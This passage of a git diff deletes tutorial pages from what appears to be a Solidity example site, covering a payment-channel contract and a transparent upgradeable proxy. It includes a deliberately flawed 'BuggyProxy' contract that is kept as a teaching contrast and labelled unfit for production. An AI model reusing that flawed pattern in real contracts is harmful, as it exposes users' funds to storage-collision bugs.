-        // NOTE: sign with address of this contract to protect agains
-        // replay attack on other contracts
-        return keccak256(abi.encodePacked(address(this), _amount));
-    }
-
-    function getHash(uint _amount) external view returns (bytes32) {
-        return _getHash(_amount);
-    }
-
-    function _getEthSignedHash(uint _amount) private view returns (bytes32) {
-        return _getHash(_amount).toEthSignedMessageHash();
-    }
-
-    function getEthSignedHash(uint _amount) external view returns (bytes32) {
-        return _getEthSignedHash(_amount);
-    }
-
-    function _verify(uint _amount, bytes memory _sig) private view returns (bool) {
-        return _getEthSignedHash(_amount).recover(_sig) == sender;
-    }
-
-    function verify(uint _amount, bytes memory _sig) external view returns (bool) {
-        return _verify(_amount, _sig);
-    }
-
-    function close(uint _amount, bytes memory _sig) external nonReentrant {
-        require(msg.sender == receiver, "!receiver");
-        require(_verify(_amount, _sig), "invalid sig");
-
-        (bool sent, ) = receiver.call{value: _amount}("");
-        require(sent, "Failed to send Ether");
-        selfdestruct(sender);
-    }
-
-    function cancel() external {
-        require(msg.sender == sender, "!sender");
-        require(block.timestamp >= expiresAt, "!expired");
-        selfdestruct(sender);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/uni-directional-payment-channel/index.md b/src/pages/app/uni-directional-payment-channel/index.md deleted file mode 100644 index b125c18f0..000000000 --- a/src/pages/app/uni-directional-payment-channel/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Uni-Directional Payment Channel -version: 0.8.20 -description: An example of uni-directional payment channels in Solidity -keywords: [app, application, uni-directional, payment, channel, signature, cryptography] ---- - -Payment channels allow participants to repeatedly transfer Ether off chain. - -Here is how this contract is used: - -- `Alice` deploys the contract, funding it with some Ether. -- `Alice` authorizes a payment by signing a message (off chain) and sends the signature to `Bob`. -- `Bob` claims his payment by presenting the signed message to the smart contract. -- If `Bob` does not claim his payment, `Alice` get her Ether back after the contract expires - -This is called a uni-directional payment channel since the payment can go only in a single direction from `Alice` to `Bob`. - -```solidity -{{{UniDirectionalPaymentChannel}}} -``` diff --git a/src/pages/app/uni-directional-payment-channel/index.tsx b/src/pages/app/uni-directional-payment-channel/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/uni-directional-payment-channel/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/upgradeable-proxy/UpgradeableProxy.sol b/src/pages/app/upgradeable-proxy/UpgradeableProxy.sol deleted file mode 100644 index 6331766eb..000000000 --- a/src/pages/app/upgradeable-proxy/UpgradeableProxy.sol +++ /dev/null @@ -1,236 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -// Transparent upgradeable proxy pattern - -contract CounterV1 { - uint public count; - - function inc() external { - count += 1; - } -} - -contract CounterV2 { - uint public count; - - function inc() external { - count += 1; - } - - function dec() external { - count -= 1; - } -} - -contract BuggyProxy { - address public implementation; - address public admin; - - constructor() { - admin = msg.sender; - } - - function _delegate() private { - (bool ok, ) = implementation.delegatecall(msg.data); - require(ok, "delegatecall failed"); - } - - fallback() external payable { - _delegate(); - } - - receive() external payable { - _delegate(); - } - - function upgradeTo(address _implementation) external { - require(msg.sender == admin, "not authorized"); - implementation = _implementation; - } -} - -contract Dev { - function selectors() external view returns (bytes4, bytes4, bytes4) { - return ( - Proxy.admin.selector, - Proxy.implementation.selector, - Proxy.upgradeTo.selector - ); - } -} - -contract Proxy { - // All functions / variables should be private, forward all calls to fallback - - // -1 for unknown preimage - // 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc - bytes32 private constant IMPLEMENTATION_SLOT = - bytes32(uint(keccak256("eip1967.proxy.implementation")) - 1); - // 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103 - bytes32 private constant ADMIN_SLOT = - bytes32(uint(keccak256("eip1967.proxy.admin")) - 1); - - constructor() { - _setAdmin(msg.sender); - } - - modifier ifAdmin() { - if (msg.sender == _getAdmin()) { - _; - } else { - _fallback(); - } - } - - function _getAdmin() private view returns (address) { - return StorageSlot.getAddressSlot(ADMIN_SLOT).value; - } - - function _setAdmin(address _admin) private { - require(_admin != address(0), "admin = zero address"); - StorageSlot.getAddressSlot(ADMIN_SLOT).value = _admin; - } - - function _getImplementation() private view returns (address) { - return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value; - } - - function _setImplementation(address _implementation) private { - require(_implementation.code.length > 0, "implementation is not contract"); - StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value = _implementation; - } - - // Admin interface // - function changeAdmin(address _admin) external ifAdmin { - _setAdmin(_admin); - } - - // 0x3659cfe6 - function upgradeTo(address _implementation) external ifAdmin { - _setImplementation(_implementation); - } - - // 0xf851a440 - function admin() external ifAdmin returns (address) { - return _getAdmin(); - } - - // 0x5c60da1b - function implementation() external ifAdmin returns (address) { - return _getImplementation(); - } - - // User interface // - function _delegate(address _implementation) internal virtual { - assembly { - // Copy msg.data. We take full control of memory in this inline assembly - // block because it will not return to Solidity code. We overwrite the - // Solidity scratch pad at memory position 0. - - // calldatacopy(t, f, s) - copy s bytes from calldata at position f to mem at position t - // calldatasize() - size of call data in bytes - calldatacopy(0, 0, calldatasize()) - - // Call the implementation. - // out and outsize are 0 because we don't know the size yet. - - // delegatecall(g, a, in, insize, out, outsize) - - // - call contract at address a - // - with input mem[in…(in+insize)) - // - providing g gas - // - and output area mem[out…(out+outsize)) - // - returning 0 on error (eg. out of gas) and 1 on success - let result := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0) - - // Copy the returned data. - // returndatacopy(t, f, s) - copy s bytes from returndata at position f to mem at position t - // returndatasize() - size of the last returndata - returndatacopy(0, 0, returndatasize()) - - switch result - // delegatecall returns 0 on error. - case 0 { - // revert(p, s) - end execution, revert state changes, return data mem[p…(p+s)) - revert(0, returndatasize()) - } - default { - // return(p, s) - end execution, return data mem[p…(p+s)) - return(0, returndatasize()) - } - } - } - - function _fallback() private { - _delegate(_getImplementation()); - } - - fallback() external payable { - _fallback(); - } - - receive() external payable { - _fallback(); - } -} - -contract ProxyAdmin { - address public owner; - - constructor() { - owner = msg.sender; - } - - modifier onlyOwner() { - require(msg.sender == owner, "not owner"); - _; - } - - function getProxyAdmin(address proxy) external view returns (address) { - (bool ok, bytes memory res) = proxy.staticcall(abi.encodeCall(Proxy.admin, ())); - require(ok, "call failed"); - return abi.decode(res, (address)); - } - - function getProxyImplementation(address proxy) external view returns (address) { - (bool ok, bytes memory res) = proxy.staticcall( - abi.encodeCall(Proxy.implementation, ()) - ); - require(ok, "call failed"); - return abi.decode(res, (address)); - } - - function changeProxyAdmin(address payable proxy, address admin) external onlyOwner { - Proxy(proxy).changeAdmin(admin); - } - - function upgrade(address payable proxy, address implementation) external onlyOwner { - Proxy(proxy).upgradeTo(implementation); - } -} - -library StorageSlot { - struct AddressSlot { - address value; - } - - function getAddressSlot( - bytes32 slot - ) internal pure returns (AddressSlot storage r) { - assembly { - r.slot := slot - } - } -} - -contract TestSlot { - bytes32 public constant slot = keccak256("TEST_SLOT"); - - function getSlot() external view returns (address) { - return StorageSlot.getAddressSlot(slot).value; - } - - function writeSlot(address _addr) external { - StorageSlot.getAddressSlot(slot).value = _addr; - } -} diff --git a/src/pages/app/upgradeable-proxy/index.html.ts b/src/pages/app/upgradeable-proxy/index.html.ts deleted file mode 100644 index 91e1199fc..000000000 --- a/src/pages/app/upgradeable-proxy/index.html.ts +++ /dev/null @@ -1,259 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Upgradeable Proxy" -export const description = "Example of upgradeable proxy" - -export const keywords = ["app", "application", "delegatecall", "upgradeable", "proxy"] - -export const codes = [ - { - fileName: "UpgradeableProxy.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIFRyYW5zcGFyZW50IHVwZ3JhZGVhYmxlIHByb3h5IHBhdHRlcm4KCmNvbnRyYWN0IENvdW50ZXJWMSB7CiAgICB1aW50IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBpbmMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgKz0gMTsKICAgIH0KfQoKY29udHJhY3QgQ291bnRlclYyIHsKICAgIHVpbnQgcHVibGljIGNvdW50OwoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHsKICAgICAgICBjb3VudCArPSAxOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlYygpIGV4dGVybmFsIHsKICAgICAgICBjb3VudCAtPSAxOwogICAgfQp9Cgpjb250cmFjdCBCdWdneVByb3h5IHsKICAgIGFkZHJlc3MgcHVibGljIGltcGxlbWVudGF0aW9uOwogICAgYWRkcmVzcyBwdWJsaWMgYWRtaW47CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgYWRtaW4gPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIF9kZWxlZ2F0ZSgpIHByaXZhdGUgewogICAgICAgIChib29sIG9rLCApID0gaW1wbGVtZW50YXRpb24uZGVsZWdhdGVjYWxsKG1zZy5kYXRhKTsKICAgICAgICByZXF1aXJlKG9rLCAiZGVsZWdhdGVjYWxsIGZhaWxlZCIpOwogICAgfQoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgX2RlbGVnYXRlKCk7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIF9kZWxlZ2F0ZSgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVwZ3JhZGVUbyhhZGRyZXNzIF9pbXBsZW1lbnRhdGlvbikgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBhZG1pbiwgIm5vdCBhdXRob3JpemVkIik7CiAgICAgICAgaW1wbGVtZW50YXRpb24gPSBfaW1wbGVtZW50YXRpb247CiAgICB9Cn0KCmNvbnRyYWN0IERldiB7CiAgICBmdW5jdGlvbiBzZWxlY3RvcnMoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGJ5dGVzNCwgYnl0ZXM0LCBieXRlczQpIHsKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICBQcm94eS5hZG1pbi5zZWxlY3RvciwKICAgICAgICAgICAgUHJveHkuaW1wbGVtZW50YXRpb24uc2VsZWN0b3IsCiAgICAgICAgICAgIFByb3h5LnVwZ3JhZGVUby5zZWxlY3RvcgogICAgICAgICk7CiAgICB9Cn0KCmNvbnRyYWN0IFByb3h5IHsKICAgIC8vIEFsbCBmdW5jdGlvbnMgLyB2YXJpYWJsZXMgc2hvdWxkIGJlIHByaXZhdGUsIGZvcndhcmQgYWxsIGNhbGxzIHRvIGZhbGxiYWNrCgogICAgLy8gLTEgZm9yIHVua25vd24gcHJlaW1hZ2UKICAgIC8vIDB4MzYwODk0YTEzYmExYTMyMTA2NjdjODI4NDkyZGI5OGRjYTNlMjA3NmNjMzczNWE5MjBhM2NhNTA1ZDM4MmJiYwogICAgYnl0ZXMzMiBwcml2YXRlIGNvbnN0YW50IElNUExFTUVOVEFUSU9OX1NMT1QgPQogICAgICAgIGJ5dGVzMzIodWludChrZWNjYWsyNTYoImVpcDE5NjcucHJveHkuaW1wbGVtZW50YXRpb24iKSkgLSAxKTsKICAgIC8vIDB4YjUzMTI3Njg0YTU2OGIzMTczYWUxM2I5ZjhhNjAxNmUyNDNlNjNiNmU4ZWUxMTc4ZDZhNzE3ODUwYjVkNjEwMwogICAgYnl0ZXMzMiBwcml2YXRlIGNvbnN0YW50IEFETUlOX1NMT1QgPQogICAgICAgIGJ5dGVzMzIodWludChrZWNjYWsyNTYoImVpcDE5NjcucHJveHkuYWRtaW4iKSkgLSAxKTsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBfc2V0QWRtaW4obXNnLnNlbmRlcik7CiAgICB9CgogICAgbW9kaWZpZXIgaWZBZG1pbigpIHsKICAgICAgICBpZiAobXNnLnNlbmRlciA9PSBfZ2V0QWRtaW4oKSkgewogICAgICAgICAgICBfOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIF9mYWxsYmFjaygpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBfZ2V0QWRtaW4oKSBwcml2YXRlIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJldHVybiBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChBRE1JTl9TTE9UKS52YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc2V0QWRtaW4oYWRkcmVzcyBfYWRtaW4pIHByaXZhdGUgewogICAgICAgIHJlcXVpcmUoX2FkbWluICE9IGFkZHJlc3MoMCksICJhZG1pbiA9IHplcm8gYWRkcmVzcyIpOwogICAgICAgIFN0b3JhZ2VTbG90LmdldEFkZHJlc3NTbG90KEFETUlOX1NMT1QpLnZhbHVlID0gX2FkbWluOwogICAgfQoKICAgIGZ1bmN0aW9uIF9nZXRJbXBsZW1lbnRhdGlvbigpIHByaXZhdGUgdmlldyByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgcmV0dXJuIFN0b3JhZ2VTbG90LmdldEFkZHJlc3NTbG90KElNUExFTUVOVEFUSU9OX1NMT1QpLnZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIF9zZXRJbXBsZW1lbnRhdGlvbihhZGRyZXNzIF9pbXBsZW1lbnRhdGlvbikgcHJpdmF0ZSB7CiAgICAgICAgcmVxdWlyZShfaW1wbGVtZW50YXRpb24uY29kZS5sZW5ndGggPiAwLCAiaW1wbGVtZW50YXRpb24gaXMgbm90IGNvbnRyYWN0Iik7CiAgICAgICAgU3RvcmFnZVNsb3QuZ2V0QWRkcmVzc1Nsb3QoSU1QTEVNRU5UQVRJT05fU0xPVCkudmFsdWUgPSBfaW1wbGVtZW50YXRpb247CiAgICB9CgogICAgLy8gQWRtaW4gaW50ZXJmYWNlIC8vCiAgICBmdW5jdGlvbiBjaGFuZ2VBZG1pbihhZGRyZXNzIF9hZG1pbikgZXh0ZXJuYWwgaWZBZG1pbiB7CiAgICAgICAgX3NldEFkbWluKF9hZG1pbik7CiAgICB9CgogICAgLy8gMHgzNjU5Y2ZlNgogICAgZnVuY3Rpb24gdXBncmFkZVRvKGFkZHJlc3MgX2ltcGxlbWVudGF0aW9uKSBleHRlcm5hbCBpZkFkbWluIHsKICAgICAgICBfc2V0SW1wbGVtZW50YXRpb24oX2ltcGxlbWVudGF0aW9uKTsKICAgIH0KCiAgICAvLyAweGY4NTFhNDQwCiAgICBmdW5jdGlvbiBhZG1pbigpIGV4dGVybmFsIGlmQWRtaW4gcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJldHVybiBfZ2V0QWRtaW4oKTsKICAgIH0KCiAgICAvLyAweDVjNjBkYTFiCiAgICBmdW5jdGlvbiBpbXBsZW1lbnRhdGlvbigpIGV4dGVybmFsIGlmQWRtaW4gcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJldHVybiBfZ2V0SW1wbGVtZW50YXRpb24oKTsKICAgIH0KCiAgICAvLyBVc2VyIGludGVyZmFjZSAvLwogICAgZnVuY3Rpb24gX2RlbGVnYXRlKGFkZHJlc3MgX2ltcGxlbWVudGF0aW9uKSBpbnRlcm5hbCB2aXJ0dWFsIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIENvcHkgbXNnLmRhdGEuIFdlIHRha2UgZnVsbCBjb250cm9sIG9mIG1lbW9yeSBpbiB0aGlzIGlubGluZSBhc3NlbWJseQogICAgICAgICAgICAvLyBibG9jayBiZWNhdXNlIGl0IHdpbGwgbm90IHJldHVybiB0byBTb2xpZGl0eSBjb2RlLiBXZSBvdmVyd3JpdGUgdGhlCiAgICAgICAgICAgIC8vIFNvbGlkaXR5IHNjcmF0Y2ggcGFkIGF0IG1lbW9yeSBwb3NpdGlvbiAwLgoKICAgICAgICAgICAgLy8gY2FsbGRhdGFjb3B5KHQsIGYsIHMpIC0gY29weSBzIGJ5dGVzIGZyb20gY2FsbGRhdGEgYXQgcG9zaXRpb24gZiB0byBtZW0gYXQgcG9zaXRpb24gdAogICAgICAgICAgICAvLyBjYWxsZGF0YXNpemUoKSAtIHNpemUgb2YgY2FsbCBkYXRhIGluIGJ5dGVzCiAgICAgICAgICAgIGNhbGxkYXRhY29weSgwLCAwLCBjYWxsZGF0YXNpemUoKSkKCiAgICAgICAgICAgIC8vIENhbGwgdGhlIGltcGxlbWVudGF0aW9uLgogICAgICAgICAgICAvLyBvdXQgYW5kIG91dHNpemUgYXJlIDAgYmVjYXVzZSB3ZSBkb24ndCBrbm93IHRoZSBzaXplIHlldC4KCiAgICAgICAgICAgIC8vIGRlbGVnYXRlY2FsbChnLCBhLCBpbiwgaW5zaXplLCBvdXQsIG91dHNpemUpIC0KICAgICAgICAgICAgLy8gLSBjYWxsIGNvbnRyYWN0IGF0IGFkZHJlc3MgYQogICAgICAgICAgICAvLyAtIHdpdGggaW5wdXQgbWVtW2lu4oCmKGluK2luc2l6ZSkpCiAgICAgICAgICAgIC8vIC0gcHJvdmlkaW5nIGcgZ2FzCiAgICAgICAgICAgIC8vIC0gYW5kIG91dHB1dCBhcmVhIG1lbVtvdXTigKYob3V0K291dHNpemUpKQogICAgICAgICAgICAvLyAtIHJldHVybmluZyAwIG9uIGVycm9yIChlZy4gb3V0IG9mIGdhcykgYW5kIDEgb24gc3VjY2VzcwogICAgICAgICAgICBsZXQgcmVzdWx0IDo9IGRlbGVnYXRlY2FsbChnYXMoKSwgX2ltcGxlbWVudGF0aW9uLCAwLCBjYWxsZGF0YXNpemUoKSwgMCwgMCkKCiAgICAgICAgICAgIC8vIENvcHkgdGhlIHJldHVybmVkIGRhdGEuCiAgICAgICAgICAgIC8vIHJldHVybmRhdGFjb3B5KHQsIGYsIHMpIC0gY29weSBzIGJ5dGVzIGZyb20gcmV0dXJuZGF0YSBhdCBwb3NpdGlvbiBmIHRvIG1lbSBhdCBwb3NpdGlvbiB0CiAgICAgICAgICAgIC8vIHJldHVybmRhdGFzaXplKCkgLSBzaXplIG9mIHRoZSBsYXN0IHJldHVybmRhdGEKICAgICAgICAgICAgcmV0dXJuZGF0YWNvcHkoMCwgMCwgcmV0dXJuZGF0YXNpemUoKSkKCiAgICAgICAgICAgIHN3aXRjaCByZXN1bHQKICAgICAgICAgICAgLy8gZGVsZWdhdGVjYWxsIHJldHVybnMgMCBvbiBlcnJvci4KICAgICAgICAgICAgY2FzZSAwIHsKICAgICAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24sIHJldmVydCBzdGF0ZSBjaGFuZ2VzLCByZXR1cm4gZGF0YSBtZW1bcOKApihwK3MpKQogICAgICAgICAgICAgICAgcmV2ZXJ0KDAsIHJldHVybmRhdGFzaXplKCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICAvLyByZXR1cm4ocCwgcykgLSBlbmQgZXhlY3V0aW9uLCByZXR1cm4gZGF0YSBtZW1bcOKApihwK3MpKQogICAgICAgICAgICAgICAgcmV0dXJuKDAsIHJldHVybmRhdGFzaXplKCkpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX2ZhbGxiYWNrKCkgcHJpdmF0ZSB7CiAgICAgICAgX2RlbGVnYXRlKF9nZXRJbXBsZW1lbnRhdGlvbigpKTsKICAgIH0KCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIF9mYWxsYmFjaygpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBfZmFsbGJhY2soKTsKICAgIH0KfQoKY29udHJhY3QgUHJveHlBZG1pbiB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgbW9kaWZpZXIgb25seU93bmVyKCkgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBvd25lciIpOwogICAgICAgIF87CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJveHlBZG1pbihhZGRyZXNzIHByb3h5KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICAoYm9vbCBvaywgYnl0ZXMgbWVtb3J5IHJlcykgPSBwcm94eS5zdGF0aWNjYWxsKGFiaS5lbmNvZGVDYWxsKFByb3h5LmFkbWluLCAoKSkpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIHJldHVybiBhYmkuZGVjb2RlKHJlcywgKGFkZHJlc3MpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRQcm94eUltcGxlbWVudGF0aW9uKGFkZHJlc3MgcHJveHkpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IHByb3h5LnN0YXRpY2NhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKFByb3h5LmltcGxlbWVudGF0aW9uLCAoKSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIHJldHVybiBhYmkuZGVjb2RlKHJlcywgKGFkZHJlc3MpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjaGFuZ2VQcm94eUFkbWluKGFkZHJlc3MgcGF5YWJsZSBwcm94eSwgYWRkcmVzcyBhZG1pbikgZXh0ZXJuYWwgb25seU93bmVyIHsKICAgICAgICBQcm94eShwcm94eSkuY2hhbmdlQWRtaW4oYWRtaW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIHVwZ3JhZGUoYWRkcmVzcyBwYXlhYmxlIHByb3h5LCBhZGRyZXNzIGltcGxlbWVudGF0aW9uKSBleHRlcm5hbCBvbmx5T3duZXIgewogICAgICAgIFByb3h5KHByb3h5KS51cGdyYWRlVG8oaW1wbGVtZW50YXRpb24pOwogICAgfQp9CgpsaWJyYXJ5IFN0b3JhZ2VTbG90IHsKICAgIHN0cnVjdCBBZGRyZXNzU2xvdCB7CiAgICAgICAgYWRkcmVzcyB2YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBZGRyZXNzU2xvdCgKICAgICAgICBieXRlczMyIHNsb3QKICAgICkgaW50ZXJuYWwgcHVyZSByZXR1cm5zIChBZGRyZXNzU2xvdCBzdG9yYWdlIHIpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHIuc2xvdCA6PSBzbG90CiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBUZXN0U2xvdCB7CiAgICBieXRlczMyIHB1YmxpYyBjb25zdGFudCBzbG90ID0ga2VjY2FrMjU2KCJURVNUX1NMT1QiKTsKCiAgICBmdW5jdGlvbiBnZXRTbG90KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgcmV0dXJuIFN0b3JhZ2VTbG90LmdldEFkZHJlc3NTbG90KHNsb3QpLnZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHdyaXRlU2xvdChhZGRyZXNzIF9hZGRyKSBleHRlcm5hbCB7CiAgICAgICAgU3RvcmFnZVNsb3QuZ2V0QWRkcmVzc1Nsb3Qoc2xvdCkudmFsdWUgPSBfYWRkcjsKICAgIH0KfQo=", - }, -] - -const html = `

Example of upgradeable proxy contract. Never use this in production.

-

This example shows

-
    -
  • how to use delegatecall and return data when fallback is called.
  • -
  • how to store address of admin and implementation in a specific slot.
  • -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-// Transparent upgradeable proxy pattern
-
-contract CounterV1 {
-    uint public count;
-
-    function inc() external {
-        count += 1;
-    }
-}
-
-contract CounterV2 {
-    uint public count;
-
-    function inc() external {
-        count += 1;
-    }
-
-    function dec() external {
-        count -= 1;
-    }
-}
-
-contract BuggyProxy {
-    address public implementation;
-    address public admin;
-
-    constructor() {
-        admin = msg.sender;
-    }
-
-    function _delegate() private {
-        (bool ok, ) = implementation.delegatecall(msg.data);
-        require(ok, "delegatecall failed");
-    }
-
-    fallback() external payable {
-        _delegate();
-    }
-
-    receive() external payable {
-        _delegate();
-    }
-
-    function upgradeTo(address _implementation) external {
-        require(msg.sender == admin, "not authorized");
-        implementation = _implementation;
-    }
-}
-
-contract Dev {
-    function selectors() external view returns (bytes4, bytes4, bytes4) {
-        return (
-            Proxy.admin.selector,
-            Proxy.implementation.selector,
-            Proxy.upgradeTo.selector
-        );
-    }
-}
-
-contract Proxy {
-    // All functions / variables should be private, forward all calls to fallback
-
-    // -1 for unknown preimage
-    // 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
-    bytes32 private constant IMPLEMENTATION_SLOT =
-        bytes32(uint(keccak256("eip1967.proxy.implementation")) - 1);
-    // 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
-    bytes32 private constant ADMIN_SLOT =
-        bytes32(uint(keccak256("eip1967.proxy.admin")) - 1);
-
-    constructor() {
-        _setAdmin(msg.sender);
-    }
-
-    modifier ifAdmin() {
-        if (msg.sender == _getAdmin()) {
-            _;
-        } else {
-            _fallback();
-        }
-    }
-
-    function _getAdmin() private view returns (address) {
-        return StorageSlot.getAddressSlot(ADMIN_SLOT).value;
-    }
-
-    function _setAdmin(address _admin) private {
-        require(_admin != address(0), "admin = zero address");
-        StorageSlot.getAddressSlot(ADMIN_SLOT).value = _admin;
-    }
-
-    function _getImplementation() private view returns (address) {
-        return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value;
-    }
-
-    function _setImplementation(address _implementation) private {
-        require(_implementation.code.length > 0, "implementation is not contract");
-        StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value = _implementation;
-    }
-
-    // Admin interface //
-    function changeAdmin(address _admin) external ifAdmin {
-        _setAdmin(_admin);
-    }
-
-    // 0x3659cfe6
-    function upgradeTo(address _implementation) external ifAdmin {
-        _setImplementation(_implementation);
-    }
-
-    // 0xf851a440
-    function admin() external ifAdmin returns (address) {
-        return _getAdmin();
-    }
-
-    // 0x5c60da1b
-    function implementation() external ifAdmin returns (address) {
-        return _getImplementation();
-    }
-
-    // User interface //
-    function _delegate(address _implementation) internal virtual {
-        assembly {
-            // Copy msg.data. We take full control of memory in this inline assembly
-            // block because it will not return to Solidity code. We overwrite the
-            // Solidity scratch pad at memory position 0.
-
-            // calldatacopy(t, f, s) - copy s bytes from calldata at position f to mem at position t
-            // calldatasize() - size of call data in bytes
-            calldatacopy(0, 0, calldatasize())
-
-            // Call the implementation.
-            // out and outsize are 0 because we don't know the size yet.
-
-            // delegatecall(g, a, in, insize, out, outsize) -
-            // - call contract at address a
-            // - with input mem[in…(in+insize))
-            // - providing g gas
-            // - and output area mem[out…(out+outsize))
-            // - returning 0 on error (eg. out of gas) and 1 on success
-            let result := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)
-
-            // Copy the returned data.
-            // returndatacopy(t, f, s) - copy s bytes from returndata at position f to mem at position t
-            // returndatasize() - size of the last returndata
-            returndatacopy(0, 0, returndatasize())
-
-            switch result
-            // delegatecall returns 0 on error.
-            case 0 {
-                // revert(p, s) - end execution, revert state changes, return data mem[p…(p+s))
-                revert(0, returndatasize())
-            }
-            default {
-                // return(p, s) - end execution, return data mem[p…(p+s))
-                return(0, returndatasize())
-            }
-        }
-    }
-
-    function _fallback() private {
-        _delegate(_getImplementation());
-    }
-
-    fallback() external payable {
-        _fallback();
-    }
-
-    receive() external payable {
-        _fallback();
-    }
-}
-
-contract ProxyAdmin {
-    address public owner;
-
-    constructor() {
-        owner = msg.sender;
-    }
-
-    modifier onlyOwner() {
-        require(msg.sender == owner, "not owner");
-        _;
-    }
-
-    function getProxyAdmin(address proxy) external view returns (address) {
-        (bool ok, bytes memory res) = proxy.staticcall(abi.encodeCall(Proxy.admin, ()));
-        require(ok, "call failed");
-        return abi.decode(res, (address));
-    }
-
-    function getProxyImplementation(address proxy) external view returns (address) {
-        (bool ok, bytes memory res) = proxy.staticcall(
-            abi.encodeCall(Proxy.implementation, ())
-        );
-        require(ok, "call failed");
-        return abi.decode(res, (address));
-    }
-
-    function changeProxyAdmin(address payable proxy, address admin) external onlyOwner {
-        Proxy(proxy).changeAdmin(admin);
-    }
-
-    function upgrade(address payable proxy, address implementation) external onlyOwner {
-        Proxy(proxy).upgradeTo(implementation);
-    }
-}
-
-library StorageSlot {
-    struct AddressSlot {
-        address value;
-    }
-
-    function getAddressSlot(
-        bytes32 slot
-    ) internal pure returns (AddressSlot storage r) {
-        assembly {
-            r.slot := slot
-        }
-    }
-}
-
-contract TestSlot {
-    bytes32 public constant slot = keccak256("TEST_SLOT");
-
-    function getSlot() external view returns (address) {
-        return StorageSlot.getAddressSlot(slot).value;
-    }
-
-    function writeSlot(address _addr) external {
-        StorageSlot.getAddressSlot(slot).value = _addr;
-    }
-}
-
